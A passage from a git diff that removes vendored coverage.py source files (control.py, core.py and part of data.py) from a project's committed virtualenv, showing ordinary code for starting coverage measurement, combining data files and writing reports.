branch = True - - As a special case, an `option_name` of ``"paths"`` will replace the - entire ``[paths]`` section. The value should be a dictionary. - - .. versionadded:: 4.0 - - """ - self.config.set_option(option_name, value) - - def load(self) -> None: - """Load previously-collected coverage data from the data file.""" - self._init() - if self._collector is not None: - self._collector.reset() - should_skip = self.config.parallel and not os.path.exists(self.config.data_file) - if not should_skip: - self._init_data(suffix=None) - self._post_init() - if not should_skip: - assert self._data is not None - self._data.read() - - def _init_for_start(self) -> None: - """Initialization for start()""" - # Construct the collector. - concurrency: list[str] = self.config.concurrency or [] - if "multiprocessing" in concurrency: - if self.config.config_file is None: - raise ConfigError("multiprocessing requires a configuration file") - patch_multiprocessing(rcfile=self.config.config_file) - - dycon = self.config.dynamic_context - if not dycon or dycon == "none": - context_switchers = [] - elif dycon == "test_function": - context_switchers = [should_start_context_test_function] - else: - raise ConfigError(f"Don't understand dynamic_context setting: {dycon!r}") - - context_switchers.extend( - plugin.dynamic_context for plugin in self._plugins.context_switchers - ) - - should_start_context = combine_context_switchers(context_switchers) - - self._core = Core( - warn=self._warn, - config=self.config, - dynamic_contexts=(should_start_context is not None), - metacov=self._metacov, - ) - self._collector = Collector( - core=self._core, - should_trace=self._should_trace, - check_include=self._check_include_omit_etc, - should_start_context=should_start_context, - file_mapper=self._file_mapper, - branch=self.config.branch, - warn=self._warn, - concurrency=concurrency, - ) - - suffix = self._data_suffix_specified - if suffix: - if not isinstance(suffix, str): - # if data_suffix=True, use .machinename.pid.random - suffix = True - elif self.config.parallel: - if suffix is None: - suffix = True - elif not isinstance(suffix, str): - suffix = bool(suffix) - else: - suffix = None - - self._init_data(suffix) - - assert self._data is not None - self._collector.use_data(self._data, self.config.context) - - # Early warning if we aren't going to be able to support plugins. - if self._plugins.file_tracers and not self._core.supports_plugins: - self._warn( - "Plugin file tracers ({}) aren't supported with {}".format( - ", ".join( - plugin._coverage_plugin_name - for plugin in self._plugins.file_tracers - ), - self._collector.tracer_name(), - ), - ) - for plugin in self._plugins.file_tracers: - plugin._coverage_enabled = False - - # Create the file classifying substructure. - self._inorout = InOrOut( - config=self.config, - warn=self._warn, - debug=(self._debug if self._debug.should("trace") else None), - include_namespace_packages=self.config.include_namespace_packages, - ) - self._inorout.plugins = self._plugins - self._inorout.disp_class = self._core.file_disposition_class - - # It's useful to write debug info after initing for start. - self._should_write_debug = True - - # Register our clean-up handlers. - atexit.register(self._atexit) - if self.config.sigterm: - is_main = (threading.current_thread() == threading.main_thread()) - if is_main and not env.WINDOWS: - # The Python docs seem to imply that SIGTERM works uniformly even - # on Windows, but that's not my experience, and this agrees: - # https://stackoverflow.com/questions/35772001/x/35792192#35792192 - self._old_sigterm = signal.signal( # type: ignore[assignment] - signal.SIGTERM, self._on_sigterm, - ) - - def _init_data(self, suffix: str | bool | None) -> None: - """Create a data file if we don't have one yet.""" - if self._data is None: - # Create the data file. We do this at construction time so that the - # data file will be written into the directory where the process - # started rather than wherever the process eventually chdir'd to. - ensure_dir_for_file(self.config.data_file) - self._data = CoverageData( - basename=self.config.data_file, - suffix=suffix, - warn=self._warn, - debug=self._debug, - no_disk=self._no_disk, - ) - - def start(self) -> None: - """Start measuring code coverage. - - Coverage measurement is only collected in functions called after - :meth:`start` is invoked. Statements in the same scope as - :meth:`start` won't be measured. - - Once you invoke :meth:`start`, you must also call :meth:`stop` - eventually, or your process might not shut down cleanly. - - The :meth:`collect` method is a context manager to handle both - starting and stopping collection. - - """ - self._init() - if not self._inited_for_start: - self._inited_for_start = True - self._init_for_start() - self._post_init() - - assert self._collector is not None - assert self._inorout is not None - - # Issue warnings for possible problems. - self._inorout.warn_conflicting_settings() - - # See if we think some code that would eventually be measured has - # already been imported. - if self._warn_preimported_source: - self._inorout.warn_already_imported_files() - - if self._auto_load: - self.load() - - self._collector.start() - self._started = True - self._instances.append(self) - - def stop(self) -> None: - """Stop measuring code coverage.""" - if self._instances: - if self._instances[-1] is self: - self._instances.pop() - if self._started: - assert self._collector is not None - self._collector.stop() - self._started = False - - @contextlib.contextmanager - def collect(self) -> Iterator[None]: - """A context manager to start/stop coverage measurement collection. - - .. versionadded:: 7.3 - - """ - self.start() - try: - yield - finally: - self.stop() # pragma: nested - - def _atexit(self, event: str = "atexit") -> None: - """Clean up on process shutdown.""" - if self._debug.should("process"): - self._debug.write(f"{event}: pid: {os.getpid()}, instance: {self!r}") - if self._started: - self.stop() - if self._auto_save or event == "sigterm": - self.save() - - def _on_sigterm(self, signum_unused: int, frame_unused: FrameType | None) -> None: - """A handler for signal.SIGTERM.""" - self._atexit("sigterm") - # Statements after here won't be seen by metacov because we just wrote - # the data, and are about to kill the process. - signal.signal(signal.SIGTERM, self._old_sigterm) # pragma: not covered - os.kill(os.getpid(), signal.SIGTERM) # pragma: not covered - - def erase(self) -> None: - """Erase previously collected coverage data. - - This removes the in-memory data collected in this session as well as - discarding the data file. - - """ - self._init() - self._post_init() - if self._collector is not None: - self._collector.reset() - self._init_data(suffix=None) - assert self._data is not None - self._data.erase(parallel=self.config.parallel) - self._data = None - self._inited_for_start = False - - def switch_context(self, new_context: str) -> None: - """Switch to a new dynamic context. - - `new_context` is a string to use as the :ref:`dynamic context - ` label for collected data. If a :ref:`static - context ` is in use, the static and dynamic context - labels will be joined together with a pipe character. - - Coverage collection must be started already. - - .. versionadded:: 5.0 - - """ - if not self._started: # pragma: part started - raise CoverageException("Cannot switch context, coverage is not started") - - assert self._collector is not None - if self._collector.should_start_context: - self._warn("Conflicting dynamic contexts", slug="dynamic-conflict", once=True) - - self._collector.switch_context(new_context) - - def clear_exclude(self, which: str = "exclude") -> None: - """Clear the exclude list.""" - self._init() - setattr(self.config, which + "_list", []) - self._exclude_regex_stale() - - def exclude(self, regex: str, which: str = "exclude") -> None: - """Exclude source lines from execution consideration. - - A number of lists of regular expressions are maintained. Each list - selects lines that are treated differently during reporting. - - `which` determines which list is modified. The "exclude" list selects - lines that are not considered executable at all. The "partial" list - indicates lines with branches that are not taken. - - `regex` is a regular expression. The regex is added to the specified - list. If any of the regexes in the list is found in a line, the line - is marked for special treatment during reporting. - - """ - self._init() - excl_list = getattr(self.config, which + "_list") - excl_list.append(regex) - self._exclude_regex_stale() - - def _exclude_regex_stale(self) -> None: - """Drop all the compiled exclusion regexes, a list was modified.""" - self._exclude_re.clear() - - def _exclude_regex(self, which: str) -> str: - """Return a regex string for the given exclusion list.""" - if which not in self._exclude_re: - excl_list = getattr(self.config, which + "_list") - self._exclude_re[which] = join_regex(excl_list) - return self._exclude_re[which] - - def get_exclude_list(self, which: str = "exclude") -> list[str]: - """Return a list of excluded regex strings. - - `which` indicates which list is desired. See :meth:`exclude` for the - lists that are available, and their meaning. - - """ - self._init() - return cast(list[str], getattr(self.config, which + "_list")) - - def save(self) -> None: - """Save the collected coverage data to the data file.""" - data = self.get_data() - data.write() - - def _make_aliases(self) -> PathAliases: - """Create a PathAliases from our configuration.""" - aliases = PathAliases( - debugfn=(self._debug.write if self._debug.should("pathmap") else None), - relative=self.config.relative_files, - ) - for paths in self.config.paths.values(): - result = paths[0] - for pattern in paths[1:]: - aliases.add(pattern, result) - return aliases - - def combine( - self, - data_paths: Iterable[str] | None = None, - strict: bool = False, - keep: bool = False, - ) -> None: - """Combine together a number of similarly-named coverage data files. - - All coverage data files whose name starts with `data_file` (from the - coverage() constructor) will be read, and combined together into the - current measurements. - - `data_paths` is a list of files or directories from which data should - be combined. If no list is passed, then the data files from the - directory indicated by the current data file (probably the current - directory) will be combined. - - If `strict` is true, then it is an error to attempt to combine when - there are no data files to combine. - - If `keep` is true, then original input data files won't be deleted. - - .. versionadded:: 4.0 - The `data_paths` parameter. - - .. versionadded:: 4.3 - The `strict` parameter. - - .. versionadded: 5.5 - The `keep` parameter. - """ - self._init() - self._init_data(suffix=None) - self._post_init() - self.get_data() - - assert self._data is not None - combine_parallel_data( - self._data, - aliases=self._make_aliases(), - data_paths=data_paths, - strict=strict, - keep=keep, - message=self._message, - ) - - def get_data(self) -> CoverageData: - """Get the collected data. - - Also warn about various problems collecting data. - - Returns a :class:`coverage.CoverageData`, the collected coverage data. - - .. versionadded:: 4.0 - - """ - self._init() - self._init_data(suffix=None) - self._post_init() - - if self._collector is not None: - for plugin in self._plugins: - if not plugin._coverage_enabled: - self._collector.plugin_was_disabled(plugin) - - if self._collector.flush_data(): - self._post_save_work() - - assert self._data is not None - return self._data - - def _post_save_work(self) -> None: - """After saving data, look for warnings, post-work, etc. - - Warn about things that should have happened but didn't. - Look for un-executed files. - - """ - assert self._data is not None - assert self._inorout is not None - - # If there are still entries in the source_pkgs_unmatched list, - # then we never encountered those packages. - if self._warn_unimported_source: - self._inorout.warn_unimported_source() - - # Find out if we got any data. - if not self._data and self._warn_no_data: - self._warn("No data was collected.", slug="no-data-collected") - - # Touch all the files that could have executed, so that we can - # mark completely un-executed files as 0% covered. - file_paths = collections.defaultdict(list) - for file_path, plugin_name in self._inorout.find_possibly_unexecuted_files(): - file_path = self._file_mapper(file_path) - file_paths[plugin_name].append(file_path) - for plugin_name, paths in file_paths.items(): - self._data.touch_files(paths, plugin_name) - - # Backward compatibility with version 1. - def analysis(self, morf: TMorf) -> tuple[str, list[TLineNo], list[TLineNo], str]: - """Like `analysis2` but doesn't return excluded line numbers.""" - f, s, _, m, mf = self.analysis2(morf) - return f, s, m, mf - - def analysis2( - self, - morf: TMorf, - ) -> tuple[str, list[TLineNo], list[TLineNo], list[TLineNo], str]: - """Analyze a module. - - `morf` is a module or a file name. It will be analyzed to determine - its coverage statistics. The return value is a 5-tuple: - - * The file name for the module. - * A list of line numbers of executable statements. - * A list of line numbers of excluded statements. - * A list of line numbers of statements not run (missing from - execution). - * A readable formatted string of the missing line numbers. - - The analysis uses the source file itself and the current measured - coverage data. - - """ - analysis = self._analyze(morf) - return ( - analysis.filename, - sorted(analysis.statements), - sorted(analysis.excluded), - sorted(analysis.missing), - analysis.missing_formatted(), - ) - - @functools.lru_cache(maxsize=1) - def _analyze(self, morf: TMorf) -> Analysis: - """Analyze a module or file. Private for now.""" - self._init() - self._post_init() - - data = self.get_data() - file_reporter = self._get_file_reporter(morf) - filename = self._file_mapper(file_reporter.filename) - return analysis_from_file_reporter(data, self.config.precision, file_reporter, filename) - - def branch_stats(self, morf: TMorf) -> dict[TLineNo, tuple[int, int]]: - """Get branch statistics about a module. - - `morf` is a module or a file name. - - Returns a dict mapping line numbers to a tuple: - (total_exits, taken_exits). - - .. versionadded:: 7.7 - - """ - analysis = self._analyze(morf) - return analysis.branch_stats() - - @functools.lru_cache(maxsize=1) - def _get_file_reporter(self, morf: TMorf) -> FileReporter: - """Get a FileReporter for a module or file name.""" - assert self._data is not None - plugin = None - file_reporter: str | FileReporter = "python" - - if isinstance(morf, str): - mapped_morf = self._file_mapper(morf) - plugin_name = self._data.file_tracer(mapped_morf) - if plugin_name: - plugin = self._plugins.get(plugin_name) - - if plugin: - file_reporter = plugin.file_reporter(mapped_morf) - if file_reporter is None: - raise PluginError( - "Plugin {!r} did not provide a file reporter for {!r}.".format( - plugin._coverage_plugin_name, morf, - ), - ) - - if file_reporter == "python": - file_reporter = PythonFileReporter(morf, self) - - assert isinstance(file_reporter, FileReporter) - return file_reporter - - def _get_file_reporters( - self, - morfs: Iterable[TMorf] | None = None, - ) -> list[tuple[FileReporter, TMorf]]: - """Get FileReporters for a list of modules or file names. - - For each module or file name in `morfs`, find a FileReporter. Return - a list pairing FileReporters with the morfs. - - If `morfs` is a single module or file name, this returns a list of one - FileReporter. If `morfs` is empty or None, then the list of all files - measured is used to find the FileReporters. - - """ - assert self._data is not None - if not morfs: - morfs = self._data.measured_files() - - # Be sure we have a collection. - if not isinstance(morfs, (list, tuple, set)): - morfs = [morfs] # type: ignore[list-item] - - return [(self._get_file_reporter(morf), morf) for morf in morfs] - - def _prepare_data_for_reporting(self) -> None: - """Re-map data before reporting, to get implicit "combine" behavior.""" - if self.config.paths: - mapped_data = CoverageData(warn=self._warn, debug=self._debug, no_disk=True) - if self._data is not None: - mapped_data.update(self._data, map_path=self._make_aliases().map) - self._data = mapped_data - - def report( - self, - morfs: Iterable[TMorf] | None = None, - show_missing: bool | None = None, - ignore_errors: bool | None = None, - file: IO[str] | None = None, - omit: str | list[str] | None = None, - include: str | list[str] | None = None, - skip_covered: bool | None = None, - contexts: list[str] | None = None, - skip_empty: bool | None = None, - precision: int | None = None, - sort: str | None = None, - output_format: str | None = None, - ) -> float: - """Write a textual summary report to `file`. - - Each module in `morfs` is listed, with counts of statements, executed - statements, missing statements, and a list of lines missed. - - If `show_missing` is true, then details of which lines or branches are - missing will be included in the report. If `ignore_errors` is true, - then a failure while reporting a single file will not stop the entire - report. - - `file` is a file-like object, suitable for writing. - - `output_format` determines the format, either "text" (the default), - "markdown", or "total". - - `include` is a list of file name patterns. Files that match will be - included in the report. Files matching `omit` will not be included in - the report. - - If `skip_covered` is true, don't report on files with 100% coverage. - - If `skip_empty` is true, don't report on empty files (those that have - no statements). - - `contexts` is a list of regular expression strings. Only data from - :ref:`dynamic contexts ` that match one of those - expressions (using :func:`re.search `) will be - included in the report. - - `precision` is the number of digits to display after the decimal - point for percentages. - - All of the arguments default to the settings read from the - :ref:`configuration file `. - - Returns a float, the total percentage covered. - - .. versionadded:: 4.0 - The `skip_covered` parameter. - - .. versionadded:: 5.0 - The `contexts` and `skip_empty` parameters. - - .. versionadded:: 5.2 - The `precision` parameter. - - .. versionadded:: 7.0 - The `format` parameter. - - """ - self._prepare_data_for_reporting() - with override_config( - self, - ignore_errors=ignore_errors, - report_omit=omit, - report_include=include, - show_missing=show_missing, - skip_covered=skip_covered, - report_contexts=contexts, - skip_empty=skip_empty, - precision=precision, - sort=sort, - format=output_format, - ): - reporter = SummaryReporter(self) - return reporter.report(morfs, outfile=file) - - def annotate( - self, - morfs: Iterable[TMorf] | None = None, - directory: str | None = None, - ignore_errors: bool | None = None, - omit: str | list[str] | None = None, - include: str | list[str] | None = None, - contexts: list[str] | None = None, - ) -> None: - """Annotate a list of modules. - - Each module in `morfs` is annotated. The source is written to a new - file, named with a ",cover" suffix, with each line prefixed with a - marker to indicate the coverage of the line. Covered lines have ">", - excluded lines have "-", and missing lines have "!". - - See :meth:`report` for other arguments. - - """ - self._prepare_data_for_reporting() - with override_config( - self, - ignore_errors=ignore_errors, - report_omit=omit, - report_include=include, - report_contexts=contexts, - ): - reporter = AnnotateReporter(self) - reporter.report(morfs, directory=directory) - - def html_report( - self, - morfs: Iterable[TMorf] | None = None, - directory: str | None = None, - ignore_errors: bool | None = None, - omit: str | list[str] | None = None, - include: str | list[str] | None = None, - extra_css: str | None = None, - title: str | None = None, - skip_covered: bool | None = None, - show_contexts: bool | None = None, - contexts: list[str] | None = None, - skip_empty: bool | None = None, - precision: int | None = None, - ) -> float: - """Generate an HTML report. - - The HTML is written to `directory`. The file "index.html" is the - overview starting point, with links to more detailed pages for - individual modules. - - `extra_css` is a path to a file of other CSS to apply on the page. - It will be copied into the HTML directory. - - `title` is a text string (not HTML) to use as the title of the HTML - report. - - See :meth:`report` for other arguments. - - Returns a float, the total percentage covered. - - .. note:: - - The HTML report files are generated incrementally based on the - source files and coverage results. If you modify the report files, - the changes will not be considered. You should be careful about - changing the files in the report folder. - - """ - self._prepare_data_for_reporting() - with override_config( - self, - ignore_errors=ignore_errors, - report_omit=omit, - report_include=include, - html_dir=directory, - extra_css=extra_css, - html_title=title, - html_skip_covered=skip_covered, - show_contexts=show_contexts, - report_contexts=contexts, - html_skip_empty=skip_empty, - precision=precision, - ): - reporter = HtmlReporter(self) - ret = reporter.report(morfs) - return ret - - def xml_report( - self, - morfs: Iterable[TMorf] | None = None, - outfile: str | None = None, - ignore_errors: bool | None = None, - omit: str | list[str] | None = None, - include: str | list[str] | None = None, - contexts: list[str] | None = None, - skip_empty: bool | None = None, - ) -> float: - """Generate an XML report of coverage results. - - The report is compatible with Cobertura reports. - - Each module in `morfs` is included in the report. `outfile` is the - path to write the file to, "-" will write to stdout. - - See :meth:`report` for other arguments. - - Returns a float, the total percentage covered. - - """ - self._prepare_data_for_reporting() - with override_config( - self, - ignore_errors=ignore_errors, - report_omit=omit, - report_include=include, - xml_output=outfile, - report_contexts=contexts, - skip_empty=skip_empty, - ): - return render_report(self.config.xml_output, XmlReporter(self), morfs, self._message) - - def json_report( - self, - morfs: Iterable[TMorf] | None = None, - outfile: str | None = None, - ignore_errors: bool | None = None, - omit: str | list[str] | None = None, - include: str | list[str] | None = None, - contexts: list[str] | None = None, - pretty_print: bool | None = None, - show_contexts: bool | None = None, - ) -> float: - """Generate a JSON report of coverage results. - - Each module in `morfs` is included in the report. `outfile` is the - path to write the file to, "-" will write to stdout. - - `pretty_print` is a boolean, whether to pretty-print the JSON output or not. - - See :meth:`report` for other arguments. - - Returns a float, the total percentage covered. - - .. versionadded:: 5.0 - - """ - self._prepare_data_for_reporting() - with override_config( - self, - ignore_errors=ignore_errors, - report_omit=omit, - report_include=include, - json_output=outfile, - report_contexts=contexts, - json_pretty_print=pretty_print, - json_show_contexts=show_contexts, - ): - return render_report(self.config.json_output, JsonReporter(self), morfs, self._message) - - def lcov_report( - self, - morfs: Iterable[TMorf] | None = None, - outfile: str | None = None, - ignore_errors: bool | None = None, - omit: str | list[str] | None = None, - include: str | list[str] | None = None, - contexts: list[str] | None = None, - ) -> float: - """Generate an LCOV report of coverage results. - - Each module in `morfs` is included in the report. `outfile` is the - path to write the file to, "-" will write to stdout. - - See :meth:`report` for other arguments. - - .. versionadded:: 6.3 - """ - self._prepare_data_for_reporting() - with override_config( - self, - ignore_errors=ignore_errors, - report_omit=omit, - report_include=include, - lcov_output=outfile, - report_contexts=contexts, - ): - return render_report(self.config.lcov_output, LcovReporter(self), morfs, self._message) - - def sys_info(self) -> Iterable[tuple[str, Any]]: - """Return a list of (key, value) pairs showing internal information.""" - - import coverage as covmod - - self._init() - self._post_init() - - def plugin_info(plugins: list[Any]) -> list[str]: - """Make an entry for the sys_info from a list of plug-ins.""" - entries = [] - for plugin in plugins: - entry = plugin._coverage_plugin_name - if not plugin._coverage_enabled: - entry += " (disabled)" - entries.append(entry) - return entries - - info = [ - ("coverage_version", covmod.__version__), - ("coverage_module", covmod.__file__), - ("core", self._collector.tracer_name() if self._collector is not None else "-none-"), - ("CTracer", f"available from {CTRACER_FILE}" if CTRACER_FILE else "unavailable"), - ("plugins.file_tracers", plugin_info(self._plugins.file_tracers)), - ("plugins.configurers", plugin_info(self._plugins.configurers)), - ("plugins.context_switchers", plugin_info(self._plugins.context_switchers)), - ("configs_attempted", self.config.config_files_attempted), - ("configs_read", self.config.config_files_read), - ("config_file", self.config.config_file), - ("config_contents", - repr(self.config._config_contents) if self.config._config_contents else "-none-", - ), - ("data_file", self._data.data_filename() if self._data is not None else "-none-"), - ("python", sys.version.replace("\n", "")), - ("platform", platform.platform()), - ("implementation", platform.python_implementation()), - ("build", platform.python_build()), - ("gil_enabled", getattr(sys, '_is_gil_enabled', lambda: True)()), - ("executable", sys.executable), - ("def_encoding", sys.getdefaultencoding()), - ("fs_encoding", sys.getfilesystemencoding()), - ("pid", os.getpid()), - ("cwd", os.getcwd()), - ("path", sys.path), - ("environment", [f"{k} = {v}" for k, v in relevant_environment_display(os.environ)]), - ("command_line", " ".join(getattr(sys, "argv", ["-none-"]))), - ] - - if self._inorout is not None: - info.extend(self._inorout.sys_info()) - - info.extend(CoverageData.sys_info()) - - return info - - -# Mega debugging... -# $set_env.py: COVERAGE_DEBUG_CALLS - Lots and lots of output about calls to Coverage. -if int(os.getenv("COVERAGE_DEBUG_CALLS", 0)): # pragma: debugging - from coverage.debug import decorate_methods, show_calls - - Coverage = decorate_methods( # type: ignore[misc] - show_calls(show_args=True), - butnot=["get_data"], - )(Coverage) - - -def process_startup() -> Coverage | None: - """Call this at Python start-up to perhaps measure coverage. - - If the environment variable COVERAGE_PROCESS_START is defined, coverage - measurement is started. The value of the variable is the config file - to use. - - There are two ways to configure your Python installation to invoke this - function when Python starts: - - #. Create or append to sitecustomize.py to add these lines:: - - import coverage - coverage.process_startup() - - #. Create a .pth file in your Python installation containing:: - - import coverage; coverage.process_startup() - - Returns the :class:`Coverage` instance that was started, or None if it was - not started by this call. - - """ - cps = os.getenv("COVERAGE_PROCESS_START") - if not cps: - # No request for coverage, nothing to do. - return None - - # This function can be called more than once in a process. This happens - # because some virtualenv configurations make the same directory visible - # twice in sys.path. This means that the .pth file will be found twice, - # and executed twice, executing this function twice. We set a global - # flag (an attribute on this function) to indicate that coverage.py has - # already been started, so we can avoid doing it twice. - # - # https://github.com/nedbat/coveragepy/issues/340 has more details. - - if hasattr(process_startup, "coverage"): - # We've annotated this function before, so we must have already - # started coverage.py in this process. Nothing to do. - return None - - cov = Coverage(config_file=cps) - process_startup.coverage = cov # type: ignore[attr-defined] - cov._warn_no_data = False - cov._warn_unimported_source = False - cov._warn_preimported_source = False - cov._auto_save = True - cov.start() - - return cov - - -def _prevent_sub_process_measurement() -> None: - """Stop any subprocess auto-measurement from writing data.""" - auto_created_coverage = getattr(process_startup, "coverage", None) - if auto_created_coverage is not None: - auto_created_coverage._auto_save = False diff --git a/backend/venv/Lib/site-packages/coverage/core.py b/backend/venv/Lib/site-packages/coverage/core.py deleted file mode 100644 index d58d06cb..00000000 --- a/backend/venv/Lib/site-packages/coverage/core.py +++ /dev/null @@ -1,122 +0,0 @@ -# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 -# For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt - -"""Management of core choices.""" - -from __future__ import annotations - -import os -import sys -from typing import Any - -from coverage import env -from coverage.config import CoverageConfig -from coverage.disposition import FileDisposition -from coverage.exceptions import ConfigError -from coverage.misc import isolate_module -from coverage.pytracer import PyTracer -from coverage.sysmon import SysMonitor -from coverage.types import ( - TFileDisposition, - TWarnFn, - Tracer, -) - - -os = isolate_module(os) - -IMPORT_ERROR: str = "" - -try: - # Use the C extension code when we can, for speed. - import coverage.tracer - CTRACER_FILE: str | None = getattr(coverage.tracer, "__file__", "unknown") -except ImportError as imp_err: - # Couldn't import the C extension, maybe it isn't built. - # We still need to check the environment variable directly here, - # as this code runs before configuration is loaded. - if os.getenv("COVERAGE_CORE") == "ctrace": # pragma: part covered - # During testing, we use the COVERAGE_CORE environment variable - # to indicate that we've fiddled with the environment to test this - # fallback code. If we thought we had a C tracer, but couldn't import - # it, then exit quickly and clearly instead of dribbling confusing - # errors. I'm using sys.exit here instead of an exception because an - # exception here causes all sorts of other noise in unittest. - sys.stderr.write("*** COVERAGE_CORE is 'ctrace' but can't import CTracer!\n") - sys.exit(1) - IMPORT_ERROR = str(imp_err) - CTRACER_FILE = None - - -class Core: - """Information about the central technology enabling execution measurement.""" - - tracer_class: type[Tracer] - tracer_kwargs: dict[str, Any] - file_disposition_class: type[TFileDisposition] - supports_plugins: bool - packed_arcs: bool - systrace: bool - - def __init__( - self, - warn: TWarnFn, - config: CoverageConfig, - dynamic_contexts: bool, - metacov: bool, - ) -> None: - # Check the conditions that preclude us from using sys.monitoring. - reason_no_sysmon = "" - if not env.PYBEHAVIOR.pep669: - reason_no_sysmon = "isn't available in this version" - elif config.branch and not env.PYBEHAVIOR.branch_right_left: - reason_no_sysmon = "can't measure branches in this version" - elif dynamic_contexts: - reason_no_sysmon = "doesn't yet support dynamic contexts" - - core_name: str | None = None - if config.timid: - core_name = "pytrace" - - if core_name is None: - core_name = config.core - - if core_name == "sysmon" and reason_no_sysmon: - warn(f"sys.monitoring {reason_no_sysmon}, using default core", slug="no-sysmon") - core_name = None - - if core_name is None: - if env.SYSMON_DEFAULT and not reason_no_sysmon: - core_name = "sysmon" - else: - core_name = "ctrace" - - if core_name == "ctrace": - if not CTRACER_FILE: - if IMPORT_ERROR and env.SHIPPING_WHEELS: - warn(f"Couldn't import C tracer: {IMPORT_ERROR}", slug="no-ctracer", once=True) - core_name = "pytrace" - - self.tracer_kwargs = {} - - if core_name == "sysmon": - self.tracer_class = SysMonitor - self.tracer_kwargs["tool_id"] = 3 if metacov else 1 - self.file_disposition_class = FileDisposition - self.supports_plugins = False - self.packed_arcs = False - self.systrace = False - elif core_name == "ctrace": - self.tracer_class = coverage.tracer.CTracer - self.file_disposition_class = coverage.tracer.CFileDisposition - self.supports_plugins = True - self.packed_arcs = True - self.systrace = True - elif core_name == "pytrace": - self.tracer_class = PyTracer - self.file_disposition_class = FileDisposition - self.supports_plugins = False - self.packed_arcs = False - self.systrace = True - else: - raise ConfigError(f"Unknown core value: {core_name!r}") diff --git a/backend/venv/Lib/site-packages/coverage/data.py b/backend/venv/Lib/site-packages/coverage/data.py deleted file mode 100644 index 8f434600..00000000 --- a/backend/venv/Lib/site-packages/coverage/data.py +++ /dev/null @@ -1,228 +0,0 @@ -# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 -# For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt - -"""Coverage data for coverage.py. - -This file had the 4.x JSON data support, which is now gone. This file still -has storage-agnostic helpers, and is kept to avoid changing too many imports. -CoverageData is now defined in sqldata.py, and imported here to keep the -imports working. - -""" - -from __future__ import annotations - -import functools -import glob -import hashlib -import os.path - -from typing import Callable -from collections.abc import Iterable - -from coverage.exceptions import CoverageException, NoDataError -from coverage.files import PathAliases -from coverage.misc import Hasher, file_be_gone, human_sorted, plural -from coverage.sqldata import CoverageData as CoverageData # pylint: disable=useless-import-alias - - -def line_counts(data: CoverageData, fullpath: bool = False) -> dict[str, int]: - """Return a dict summarizing the line coverage data. - - Keys are based on the file names, and values are the number of executed - lines. If `fullpath` is true, then the keys are the full pathnames of - the files, otherwise they are the basenames of the files. - - Returns a dict mapping file names to counts of lines. - - """ - summ = {} - filename_fn: Callable[[str], str] - if fullpath: - # pylint: disable=unnecessary-lambda-assignment - filename_fn = lambda f: f - else: - filename_fn = os.path.basename - for filename in data.measured_files(): - lines = data.lines(filename) - assert lines is not None - summ[filename_fn(filename)] = len(lines) - return summ - - -def add_data_to_hash(data: CoverageData, filename: str, hasher: Hasher) -> None: - """Contribute `filename`'s data to the `hasher`. - - `hasher` is a `coverage.misc.Hasher` instance to be updated with - the file's data. It should only get the results data, not the run - data. - - """ - if data.has_arcs(): - hasher.update(sorted(data.arcs(filename) or [])) - else: - hasher.update(sorted_lines(data, filename)) - hasher.update(data.file_tracer(filename)) - - -def combinable_files(data_file: str, data_paths: Iterable[str] | None = None) -> list[str]: - """Make a list of data files to be combined. - - `data_file` is a path to a data file. `data_paths` is a list of files or - directories of files. - - Returns a list of absolute file paths. - """ - data_dir, local = os.path.split(os.path.abspath(data_file)) - - data_paths = data_paths or [data_dir] - files_to_combine = [] - for p in data_paths: - if os.path.isfile(p): - files_to_combine.append(os.path.abspath(p)) - elif os.path.isdir(p): - pattern = glob.escape(os.path.join(os.path.abspath(p), local)) +".*" - files_to_combine.extend(glob.glob(pattern)) - else: - raise NoDataError(f"Couldn't combine from non-existent path '{p}'") - - # SQLite might have made journal files alongside our database files. - # We never want to combine those. - files_to_combine = [fnm for fnm in files_to_combine if not fnm.endswith("-journal")] - - # Sorting isn't usually needed, since it shouldn't matter what order files - # are combined, but sorting makes tests more predictable, and makes - # debugging more understandable when things go wrong. - return sorted(files_to_combine) - - -def combine_parallel_data( - data: CoverageData, - aliases: PathAliases | None = None, - data_paths: Iterable[str] | None = None, - strict: bool = False, - keep: bool = False, - message: Callable[[str], None] | None = None, -) -> None: - """Combine a number of data files together. - - `data` is a CoverageData. - - Treat `data.filename` as a file prefix, and combine the data from all - of the data files starting with that prefix plus a dot. - - If `aliases` is provided, it's a `PathAliases` object that is used to - re-map paths to match the local machine's. - - If `data_paths` is provided, it is a list of directories or files to - combine. Directories are searched for files that start with - `data.filename` plus dot as a prefix, and those files are combined. - - If `data_paths` is not provided, then the directory portion of - `data.filename` is used as the directory to search for data files. - - Unless `keep` is True every data file found and combined is then deleted - from disk. If a file cannot be read, a warning will be issued, and the - file will not be deleted. - - If `strict` is true, and no files are found to combine, an error is - raised. - - `message` is a function to use for printing messages to the user. - - """ - files_to_combine = combinable_files(data.base_filename(), data_paths) - - if strict and not files_to_combine: - raise NoDataError("No data to combine") - - if aliases is None: - map_path = None - else: - map_path = functools.cache(aliases.map) - - file_hashes = set() - combined_any = False - - for f in files_to_combine: - if f == data.data_filename(): - # Sometimes we are combining into a file which is one of the - # parallel files. Skip that file. - if data._debug.should("dataio"): - data._debug.write(f"Skipping combining ourself: {f!r}") - continue - - try: - rel_file_name = os.path.relpath(f) - except ValueError: - # ValueError can be raised under Windows when os.getcwd() returns a - # folder from a different drive than the drive of f, in which case - # we print the original value of f instead of its relative path - rel_file_name = f - - with open(f, "rb") as fobj: - hasher = hashlib.new("sha3_256", usedforsecurity=False) - hasher.update(fobj.read()) - sha = hasher.digest() - combine_this_one = sha not in file_hashes - - delete_this_one = not keep - if combine_this_one: - if data._debug.should("dataio"): - data._debug.write(f"Combining data file {f!r}") - file_hashes.add(sha) - try: - new_data = CoverageData(f, debug=data._debug) - new_data.read() - except CoverageException as exc: - if data._warn: - # The CoverageException has the file name in it, so just - # use the message as the warning. - data._warn(str(exc)) - if message: - message(f"Couldn't combine data file {rel_file_name}: {exc}") - delete_this_one = False - else: - data.update(new_data, map_path=map_path) - combined_any = True - if message: - message(f"Combined data file {rel_file_name}") - else: - if message: - message(f"Skipping duplicate data {rel_file_name}") - - if delete_this_one: - if data._debug.should("dataio"): - data._debug.write(f"Deleting data file {f!r}") - file_be_gone(f) - - if strict and not combined_any: - raise NoDataError("No usable data files") - - -def debug_data_file(filename: str) -> None: - """Implementation of 'coverage debug data'.""" - data = CoverageData(filename) - filename = data.data_filename() - print(f"path: {filename}") - if not 